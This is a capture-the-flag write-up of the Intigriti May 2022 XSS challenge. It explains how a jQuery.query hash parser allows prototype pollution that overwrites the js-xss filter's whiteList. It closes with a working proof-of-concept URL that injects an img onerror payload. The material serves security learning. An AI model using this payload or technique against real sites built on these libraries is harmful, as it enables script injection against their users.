May 2022 - Intigriti XSS Challenge Writeup - Prototype Pollution to Overwrite XSS filters!!!

I came across the Tweet from Intigriti about this month’s XSS challenge, and I decided to try that out.
- The following screenshot shows that website:

- Note that it contains a word
Pollution— Didn’t that remain us of something?
Code Analysis:
- Let’s analyse the front end code:
<!DOCTYPE html>
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js"></script>
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script>
/**
* jQuery.query - Query String Modification and Creation for jQuery
* Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com)
* Licensed under the WTFPL (http://sam.zoy.org/wtfpl/).
* Date: 2009/8/13
*
* @author Blair Mitchelmore
* @version 2.2.3
*
**/
new function(settings) {
// Various Settings
var $separator = settings.separator || '&';
var $spaces = settings.spaces === false ? false : true;
var $suffix = settings.suffix === false ? '' : '[]';
var $prefix = settings.prefix === false ? false : true;
var $hash = $prefix ? settings.hash === true ? "#" : "?" : "";
var $numbers = settings.numbers === false ? false : true;
jQuery.query = new function() {
var is = function(o, t) {
return o != undefined && o !== null && (!!t ? o.constructor == t : true);
};
var parse = function(path) {
var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
while (m = rx.exec(match[2])) tokens.push(m[1]);
return [base, tokens];
};
var set = function(target, tokens, value) {
var o, token = tokens.shift();
if (typeof target != 'object') target = null;
if (token === "") {
if (!target) target = [];
if (is(target, Array)) {
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
} else if (is(target, Object)) {
var i = 0;
while (target[i++] != null);
target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
} else {
target = [];
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
}
} else if (token && token.match(/^\s*[0-9]+\s*$/)) {
var index = parseInt(token, 10);
if (!target) target = [];
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else if (token) {
var index = token.replace(/^\s*|\s*$/g, "");
if (!target) target = {};
if (is(target, Array)) {
var temp = {};
for (var i = 0; i < target.length; ++i) {
temp[i] = target[i];
}
target = temp;
}
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else {
return value;
}
return target;
};
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
queryObject.prototype = {
queryObject: true,
parseNew: function(){
var self = this;
self.keys = {};
jQuery.each(arguments, function() {
var q = "" + this;
q = q.replace(/^[?#]/,''); // remove any leading ? || #
q = q.replace(/[;&]$/,''); // remove any trailing & || ;
if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
jQuery.each(q.split(/[&;]/), function(){
var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");
if (!key) return;
if ($numbers) {
if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
val = parseFloat(val);
else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
val = parseInt(val, 10);
}
val = (!val && val !== 0) ? true : val;
self.SET(key, val);
});
});
return self;
},
has: function(key, type) {
var value = this.get(key);
return is(value, type);
},
GET: function(key) {
if (!is(key)) return this.keys;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
while (target != null && tokens.length != 0) {
target = target[tokens.shift()];
}
return typeof target == 'number' ? target : target || "";
},
get: function(key) {
var target = this.GET(key);
if (is(target, Object))
return jQuery.extend(true, {}, target);
else if (is(target, Array))
return target.slice(0);
return target;
},
SET: function(key, val) {
var value = !is(val) ? null : val;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
this.keys[base] = set(target, tokens.slice(0), value);
return this;
},
set: function(key, val) {
return this.copy().SET(key, val);
},
REMOVE: function(key, val) {
if (val) {
var target = this.GET(key);
if (is(target, Array)) {
for (tval in target) {
target[tval] = target[tval].toString();
}
var index = $.inArray(val, target);
if (index >= 0) {
key = target.splice(index, 1);
key = key[index];
} else {
return;
}
} else if (val != target) {
return;
}
}
return this.SET(key, null).COMPACT();
},
remove: function(key, val) {
return this.copy().REMOVE(key, val);
},
EMPTY: function() {
var self = this;
jQuery.each(self.keys, function(key, value) {
delete self.keys[key];
});
return self;
},
load: function(url) {
var hash = url.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
var search = url.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
return new queryObject(url.length == search.length ? '' : search, url.length == hash.length ? '' : hash);
},
empty: function() {
return this.copy().EMPTY();
},
copy: function() {
return new queryObject(this);
},
COMPACT: function() {
function build(orig) {
var obj = typeof orig == "object" ? is(orig, Array) ? [] : {} : orig;
if (typeof orig == 'object') {
function add(o, key, value) {
if (is(o, Array))
o.push(value);
else
o[key] = value;
}
jQuery.each(orig, function(key, value) {
if (!is(value)) return true;
add(obj, key, build(value));
});
}
return obj;
}
this.keys = build(this.keys);
return this;
},
compact: function() {
return this.copy().COMPACT();
},
toString: function() {
var i = 0, queryString = [], chunks = [], self = this;
var encode = function(str) {
str = str + "";
str = encodeURIComponent(str);
if ($spaces) str = str.replace(/%20/g, "+");
return str;
};
var addFields = function(arr, key, value) {
if (!is(value) || value === false) return;
var o = [encode(key)];
if (value !== true) {
o.push("=");
o.push(encode(value));
}
arr.push(o.join(""));
};
var build = function(obj, base) {
var newKey = function(key) {
return !base || base == "" ? [key].join("") : [base, "[", key, "]"].join("");
};
jQuery.each(obj, function(key, value) {
if (typeof value == 'object')
build(value, newKey(key));
else
addFields(chunks, newKey(key), value);
});
};
build(this.keys);
if (chunks.length > 0) queryString.push($hash);
queryString.push(chunks.join($separator));
return queryString.join("");
}
};
return new queryObject(location.search, location.hash);
};
}(jQuery.query || {}); // Pass in jQuery.query as settings object
</script>
<style>
// Boring CSS
</style>
</head>
<body>
<h1 id="root"></h1>
<script>
var pages = {
1: `HOME
<h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,
2: `PRODUCTS
<br>
<footer>
<img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>
</footer>`,
3: `CONTACT
<br><br>
<b>
<a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>
<a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>
<a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>
<a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>
</b>
`,
4: `
<div class="dropdown">
<div id="myDropdown" class="dropdown-content">
<a href = "?page=1">Home</a>
<a href = "?page=2">Products</a>
<a href = "?page=3">Contact</a>
</div>
</div>`
};
var pl = $.query.get('page');
if(pages[pl] != undefined){
console.log(pages);
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
}else{
document.location.search = "?page=1"
}
</script>
</body>
</html>
Too much code. let’s evaluate it, one at a time. The following URLs are loaded within the page:
https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js
https://code.jquery.com/jquery-3.5.1.js
https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js
https://code.jquery.com/jquery-3.5.1.js
This page accepts a GET parameter, called
page.
var pl = $.query.get('page');
if(pages[pl] != undefined){
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
}
else{
document.location.search = "?page=1"
}
- But what is
pages?pagesis a Javascript object, as shown in the following snippet:
var pages = {
1: `HOME
<h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,
2: `PRODUCTS
<br>
<footer>
<img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>
</footer>
<footer>
<img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>
</footer>`,
3: `CONTACT
<br><br>
<b>
<a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>
<a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>
<a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>
<a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>
</b>
`,
4: `
<div class="dropdown">
<div id="myDropdown" class="dropdown-content">
<a href = "?page=1">Home</a>
<a href = "?page=2">Products</a>
<a href = "?page=3">Contact</a>
</div>
</div>`
};
- If the GET parameter
pageis set to1, then the page willinnerHTMLthe first property of thepagesJavaScript object, that is<h5>Pollution is cons...</h5>.
Source and Sink:
Source:
?page=<source>. We can pass any value here. But the valid options are 1-3. But, there is a If condition, that checks and confirms that the user input is notundefinedand it returns something when passed to pages object.Sink:
innerHTML, If our Input is passed the If condition, then our input is sanitized and passed into theinnerHTMLsink, which is well-known for XSS.
var pl = $.query.get('page');
if(pages[pl] != undefined){
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
}
else{
document.location.search = "?page=1"
}
- How does the
$.query.get(‘page’)work?
new function(settings) {
// Various Settings
var $separator = settings.separator || '&';
var $spaces = settings.spaces === false ? false : true;
var $suffix = settings.suffix === false ? '' : '[]';
var $prefix = settings.prefix === false ? false : true;
var $hash = $prefix ? settings.hash === true ? "#" : "?" : "";
var $numbers = settings.numbers === false ? false : true;
jQuery.query = new function() {
var is = function(o, t) {
return o != undefined && o !== null && (!!t ? o.constructor == t : true);
};
var parse = function(path) {
var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
while (m = rx.exec(match[2])) tokens.push(m[1]);
return [base, tokens];
};
var set = function(target, tokens, value) {
var o, token = tokens.shift();
if (typeof target != 'object') target = null;
if (token === "") {
if (!target) target = [];
if (is(target, Array)) {
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
} else if (is(target, Object)) {
var i = 0;
while (target[i++] != null);
target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
} else {
target = [];
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
}
} else if (token && token.match(/^\s*[0-9]+\s*$/)) {
var index = parseInt(token, 10);
if (!target) target = [];
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else if (token) {
var index = token.replace(/^\s*|\s*$/g, "");
if (!target) target = {};
if (is(target, Array)) {
var temp = {};
for (var i = 0; i < target.length; ++i) {
temp[i] = target[i];
}
target = temp;
}
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else {
return value;
}
return target;
};
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
queryObject.prototype = {
queryObject: true,
parseNew: function(){
var self = this;
self.keys = {};
jQuery.each(arguments, function() {
var q = "" + this;
q = q.replace(/^[?#]/,''); // remove any leading ? || #
q = q.replace(/[;&]$/,''); // remove any trailing & || ;
if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
jQuery.each(q.split(/[&;]/), function(){
var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");
if (!key) return;
if ($numbers) {
if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
val = parseFloat(val);
else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
val = parseInt(val, 10);
}
val = (!val && val !== 0) ? true : val;
self.SET(key, val);
});
});
return self;
},
has: function(key, type) {
var value = this.get(key);
return is(value, type);
},
GET: function(key) {
if (!is(key)) return this.keys;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
while (target != null && tokens.length != 0) {
target = target[tokens.shift()];
}
return typeof target == 'number' ? target : target || "";
},
get: function(key) {
var target = this.GET(key);
if (is(target, Object))
return jQuery.extend(true, {}, target);
else if (is(target, Array))
return target.slice(0);
return target;
},
SET: function(key, val) {
var value = !is(val) ? null : val;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
this.keys[base] = set(target, tokens.slice(0), value);
return this;
},
set: function(key, val) {
return this.copy().SET(key, val);
},
REMOVE: function(key, val) {
if (val) {
var target = this.GET(key);
if (is(target, Array)) {
for (tval in target) {
target[tval] = target[tval].toString();
}
var index = $.inArray(val, target);
if (index >= 0) {
key = target.splice(index, 1);
key = key[index];
} else {
return;
}
} else if (val != target) {
return;
}
}
return this.SET(key, null).COMPACT();
},
remove: function(key, val) {
return this.copy().REMOVE(key, val);
},
EMPTY: function() {
var self = this;
jQuery.each(self.keys, function(key, value) {
delete self.keys[key];
});
return self;
},
load: function(url) {
var hash = url.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
var search = url.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
return new queryObject(url.length == search.length ? '' : search, url.length == hash.length ? '' : hash);
},
empty: function() {
return this.copy().EMPTY();
},
copy: function() {
return new queryObject(this);
},
COMPACT: function() {
function build(orig) {
var obj = typeof orig == "object" ? is(orig, Array) ? [] : {} : orig;
if (typeof orig == 'object') {
function add(o, key, value) {
if (is(o, Array))
o.push(value);
else
o[key] = value;
}
jQuery.each(orig, function(key, value) {
if (!is(value)) return true;
add(obj, key, build(value));
});
}
return obj;
}
this.keys = build(this.keys);
return this;
},
compact: function() {
return this.copy().COMPACT();
},
toString: function() {
var i = 0, queryString = [], chunks = [], self = this;
var encode = function(str) {
str = str + "";
str = encodeURIComponent(str);
if ($spaces) str = str.replace(/%20/g, "+");
return str;
};
var addFields = function(arr, key, value) {
if (!is(value) || value === false) return;
var o = [encode(key)];
if (value !== true) {
o.push("=");
o.push(encode(value));
}
arr.push(o.join(""));
};
var build = function(obj, base) {
var newKey = function(key) {
return !base || base == "" ? [key].join("") : [base, "[", key, "]"].join("");
};
jQuery.each(obj, function(key, value) {
if (typeof value == 'object')
build(value, newKey(key));
else
addFields(chunks, newKey(key), value);
});
};
build(this.keys);
if (chunks.length > 0) queryString.push($hash);
queryString.push(chunks.join($separator));
return queryString.join("");
}
};
return new queryObject(location.search, location.hash); // Interesting Part Bro :)
};
}(jQuery.query || {}); // Pass in jQuery.query as settings object
Most of them are not applicable/not interesting.
The following snippet shows the basic structure:
new function(){
...
...
jQuery.query = new function(){
var is = function() {
...
};
var parse = function() {
...
};
var set = function(){
...
...
...
};
var queryObject = function(){
...
...
};
queryObject.prototype = {
queryObject: true,
parseNew: function(){
...
...
...
};
has: function(){
...
},
GET: function(){
...
},
get: function(){
...
},
SET: function(){
...
},
set: function(){
...
},
REMOVE: function(){
...
},
remove: function(){
...
},
load: function(){
...
},
empty: function(){
...
},
copy: function(){
...
},
COMPACT: function(){
...
},
compact: function(){
...
},
toString: function(){
...
...
...
},
};
return new queryObject(location.search, location.hash) // Interesting Part :)
}(jQuery.query || {});
return new queryObject(location.search, location.hash)— This is the most important part of this code snippet.What is
queryObject?queryObjectis a constructor function. Constructor function automatically returns the object. So, we don't need to manually write a return statement.
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
we need to pass one parameter as argument to
queryObjectfunction.If the function using
thiskeyword, then this function would be called a constructor function.When
queryObjectfunction is called,location.searchandlocation.hashare concatenated and passed toqueryObjectfunction.location.searchwill return the GET parameters. For example, if the URL ishttp://abc.xss?page=2, thenlocation.searchwould return?page=2.location.hashwill return strings after fragment part (#) of the URL. For example, if the URL ishttp://abc.xss?search=20#123, thenlocation.hashwould return#123.

We can add anything after
#which is passed as argument toqueryObjectfunction.So, our source is not just
location.search, but alsolocation.hash.
Local Setup
I made a local setup to play more with this.
$.query.getrequired one parameter, where the GET parampageis passed.Return statement —
return jQuery.extend(true, {}, target);. Basically, thejQuery.extendwill be doing the merge operation. In part,jQuery.extendwas vulnerable to prototype pollution. But, it looks like it is no longer vulnerable (at the time of writing).
get: function(key) {
var target = this.GET(key);
if (is(target, Object))
return jQuery.extend(true, {}, target);
else if (is(target, Array))
return target.slice(0);
return target;
},
this.GET(key)?is(target, Object)?The following snippet shows how the
isfunction works:
var is = function(o, t) {
return o != undefined && o !== null && (!!t ? o.constructor == t : true);
};
we need to pass 2 parameters as arguments to
isfunction.Basically, this
isfunction returns boolean values.The purpose of this
isfunction is to check the datatype of first passed argument, and compare it with the second passed argument, as shown in the following screenshot:
- The following code snippet shows how the
this.GET(key)works:
GET: function(key) {
if (!is(key)) return this.keys;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
while (target != null && tokens.length != 0) {
target = target[tokens.shift()];
}
return typeof target == 'number' ? target : target || "";
}
parse(key)? The following snippet shows how theparsefunction works:
var parse = function(path) {
var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path),base = match[1], tokens = [];
while (m = rx.exec(match[2])) tokens.push(m[1]);
return [base, tokens];
};
- This
parsefunction requires one parameter as an argument. This is just some weird looking regex.
rx:

- Basically it matches all characters inside
[].
match:

This
matchregex looks for path that can are usually converted into objects/array during parsing. For example,?lol=a[b]=[c].This parse function will return 2 values, as shown in the following screenshot:

- Let look at
this.GET(key)once again:
GET: function(key) {
if (!is(key)) return this.keys;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
while (target != null && tokens.length != 0) {
target = target[tokens.shift()];
}
return typeof target == 'number' ? target : target || "";
}
- In the
isfunction, If we only passedoneargument, it always return true. Because of this condition —... o.constructor == t : true.

parsed = parse(key)will return 2 values,base = parsed[0],tokens = parsed[1]. 1st return value is stored inbaseand 2nd intokens. Data type of thetokensisArray.var target = this.keys[base];—this.keys?We already looked into
queryObject:
var queryObject = function(a) {
var self = this;
self.keys = {};
...
...
};
Yes,
this.keysis an object.this.keys[base]should return something, if it does't, then the while loop condition will be set to false.Let’s look into the
queryObjectfunction:
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
The if condition will run if
a.queryObjectreturn something.ais user passed argument —location.search,location.hash.Else,
parseNewfunction will be executed.Let’s look into the
SET(key, val)andparseNewdefinition.The following code snippet shows the definition of the
SET:- requires 2 arguments from user,
keyandval.
- requires 2 arguments from user,
SET: function(key, val) {
var value = !is(val) ? null : val;
var parsed = parse(key), base = parsed[0], tokens = parsed[1];
var target = this.keys[base];
this.keys[base] = set(target, tokens.slice(0), value);
return this;
- Let’s look into the
setfunction:
var set = function(target, tokens, value) {
var o, token = tokens.shift();
if (typeof target != 'object') target = null;
if (token === "") {
if (!target) target = [];
if (is(target, Array)) {
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
} else if (is(target, Object)) {
var i = 0;
while (target[i++] != null);
target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
} else {
target = [];
target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
}
} else if (token && token.match(/^\s*[0-9]+\s*$/)) {
var index = parseInt(token, 10);
if (!target) target = [];
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else if (token) {
var index = token.replace(/^\s*|\s*$/g, "");
if (!target) target = {};
if (is(target, Array)) {
var temp = {};
for (var i = 0; i < target.length; ++i) {
temp[i] = target[i];
}
target = temp;
}
target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
} else {
return value;
}
return target;
};
Yes, it’s a bit big chunk of code. Let me explain this in simple Words.
tokens.shift();— Basically, the shift function/method will return only one element one by one.This
setfunction requires 3 arguments.target, tokens and valuetypeofkeyword will return the data type. In the first if condition, if the datatype of thetargetis notObject, thentargetis set tonullAnd, and other IF ELSE conditions check the datatype of
targetwithisfunction and callingset.So, according to the datatype of the
target, thissetfunction performs amergeoperation.
Once again, let’s look into the
queryObjectfunction:
var queryObject = function(a) {
var self = this;
self.keys = {};
if (a.queryObject) {
jQuery.each(a.get(), function(key, val) {
self.SET(key, val);
});
} else {
self.parseNew.apply(self, arguments);
}
return self;
};
if
a.queryObjectreturn something, thenself.SETwill be called.selfmappedthis—self==thisElse,
self.parsedNewwill be called.The
apply()method is similar to thecall()methodLet's look into the
parsedNew:
parseNew: function(){
var self = this;
self.keys = {};
jQuery.each(arguments, function() {
var q = "" + this;
q = q.replace(/^[?#]/,''); // remove any leading ? || #
q = q.replace(/[;&]$/,''); // remove any trailing & || ;
if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
jQuery.each(q.split(/[&;]/), function(){
var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");
if (!key) return;
if ($numbers) {
if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
val = parseFloat(val);
else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
val = parseInt(val, 10);
}
val = (!val && val !== 0) ? true : val;
self.SET(key, val);
});
});
return self;
}
- In
jQuery.eachloop,
var q = "" + this;
q = q.replace(/^[?#]/,''); // remove any leading ? || #
q = q.replace(/[;&]$/,''); // remove any trailing & || ;
if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
jQuery.each(q.split(/[&;]/), function(){
...
...
});
This replaces
?,#,&,||with'', and converts+to' '. (url decoding)Let’s look into nested
jQuery.each-jQuery.each(q.split(/[&;]/)
var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");
if (!key) return;
if ($numbers) {
if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
val = parseFloat(val);
else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
val = parseInt(val, 10);
}
val = (!val && val !== 0) ? true : val;
self.SET(key, val);
Note: decodeURIComponent(this.split('=')[0] || ""); — decodeURIComponent will be called after the splitting. By URL-encoding the =, we can bypass this split function. This will be useful at end.
splitkeyword is used to split a string according to aconditionand return as a array. —var a = 'a&c';→a.split('&')→[a,c]Before passing to
SET, value ofvalis checked if the datatype isintorfloat. After the check,SETis called withkeyandvalas arguments.
Exploit Idea
We can pollute the Object Prototype to add new key value pairs.
We can also bypass the
filterXSSfunction with prototype pollution — We will take a look into this in a bit.
Exploitation
I already mentioned about the
source. —return new queryObject(location.search, location.hash)URL:
http://localhost/index.html?page=2#a[__proto__][abcd]=xssUpon changing the parameter from
page=2#payload, topage=abcd#a[__proto__][abcd]=xss, we can perform prototype pollution.

- Our input is not directly passed into innerHTML, but the input is sanitized before sending into innerHTML.
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
You could note that our input is passed to the
filterXSSfunction to get the string sanitized.This
filterXSSfunction comes fromhttps://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.js— Pretty big file. More than 1000 lines of code.filterXSSfunction:
function filterXSS (html, options) {
var xss = new FilterXSS(options);
return xss.process(html);
}
It supports 2 arguments, but here,
filterXSS(pages[pl]), only 1 argument is passed.I can’t find any bypasses in the internet. I think, bypassing
filterXSSto get XSS would be unintended solution.xss.process()?- The following snippet shows the
processdefinition. But the point is, thisprocessfunction is not directly declared, but is injected into the Object prototype:
- The following snippet shows the
FilterXSS.prototype.process = function (html) {
// 兼容各种奇葩输入
html = html || '';
html = html.toString();
if (!html) return '';
var me = this;
var options = me.options;
var whiteList = options.whiteList;
var onTag = options.onTag;
var onIgnoreTag = options.onIgnoreTag;
var onTagAttr = options.onTagAttr;
var onIgnoreTagAttr = options.onIgnoreTagAttr;
var safeAttrValue = options.safeAttrValue;
var escapeHtml = options.escapeHtml;
var cssFilter = me.cssFilter;
// 是否清除不可见字符
if (options.stripBlankChar) {
html = DEFAULT.stripBlankChar(html);
}
// 是否禁止备注标签
if (!options.allowCommentTag) {
html = DEFAULT.stripCommentTag(html);
}
// 如果开启了stripIgnoreTagBody
var stripIgnoreTagBody = false;
if (options.stripIgnoreTagBody) {
var stripIgnoreTagBody = DEFAULT.StripTagBody(options.stripIgnoreTagBody, onIgnoreTag);
onIgnoreTag = stripIgnoreTagBody.onIgnoreTag;
}
var retHtml = parseTag(html, function (sourcePosition, position, tag, html, isClosing) {
var info = {
sourcePosition: sourcePosition,
position: position,
isClosing: isClosing,
isWhite: (tag in whiteList)
};
// 调用onTag处理
var ret = onTag(tag, html, info);
if (!isNull(ret)) return ret;
// 默认标签处理方法
if (info.isWhite) {
// 白名单标签,解析标签属性
// 如果是闭合标签,则不需要解析属性
if (info.isClosing) {
return '</' + tag + '>';
}
var attrs = getAttrs(html);
var whiteAttrList = whiteList[tag];
var attrsHtml = parseAttr(attrs.html, function (name, value) {
// 调用onTagAttr处理
var isWhiteAttr = (_.indexOf(whiteAttrList, name) !== -1);
var ret = onTagAttr(tag, name, value, isWhiteAttr);
if (!isNull(ret)) return ret;
// 默认的属性处理方法
if (isWhiteAttr) {
// 白名单属性,调用safeAttrValue过滤属性值
value = safeAttrValue(tag, name, value, cssFilter);
if (value) {
return name + '="' + value + '"';
} else {
return name;
}
} else {
// 非白名单属性,调用onIgnoreTagAttr处理
var ret = onIgnoreTagAttr(tag, name, value, isWhiteAttr);
if (!isNull(ret)) return ret;
return;
}
});
// 构造新的标签代码
var html = '<' + tag;
if (attrsHtml) html += ' ' + attrsHtml;
if (attrs.closing) html += ' /';
html += '>';
return html;
} else {
// 非白名单标签,调用onIgnoreTag处理
var ret = onIgnoreTag(tag, html, info);
if (!isNull(ret)) return ret;
return escapeHtml(html);
}
}, escapeHtml);
// 如果开启了stripIgnoreTagBody,需要对结果再进行处理
if (stripIgnoreTagBody) {
retHtml = stripIgnoreTagBody.remove(retHtml);
}
return retHtml;
};
This is a huge function with lots of stuff going on. Since we can also pollute prototype, we don't really need to look for bypasses. We can simply write or overwrite key/values in the Object prototype.
To explore more, I came back to my local setup. I added a
console.logto theprocessfunction, as shown in the following screenshot:

http://localhost?page=abcd#a[__proto__][abcd]=xss

As you could see, our input is present in the Object Prototype.
abcd:"xss", along with theescapeHtmlfunction:So, it is possible to overwrite the key-values inside the object prototype. Because, our input is parsed after the script is loaded. Therefore, we can overwrite the filters present in the Object prototype.
Upon looking at the code, I found that, The
filterXSSfunction depends in the objectwhiteListwhich has only limited number of allowed tags and attributes, and the sanitization is performed based on this configuration.For example,
atag is allowed andhref, title, targetare the allowed attributes. After searching for script gadgets here, I can’t find any.
Overwriting the WhiteList :
- Overwriting
whitelist...url: http://localhost:8000/?page=1#a[__proto__][whiteList]=xss

As you could see, we have successfully overwritten the
whiteList.In order to make it work, we need to inject
key-valuepairs. key asHTML-Tagand value asattributes.
url : a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain) - [url-encoded]

Final PoC
PoC: https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain)
URL decoded: https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=<img src=x onerror=alert(document.domain)>&a[__proto__][whiteList][img]=src=x onerror=alert(document.domain)

Final Thoughts
- It was really fun. I am glad I was able to solve it. After I read some other write ups of this challenge, I observed that there were some pocs already available. But, I am glad I was able to get deep into it and solve it myself.
Resources
https://www.youtube.com/watch?v=GhJTy5-X3kA
https://www.youtube.com/watch?v=54GYCl7Beh4 [Language: Tamil]
https://www.w3schools.com/js/js_object_constructors.asp



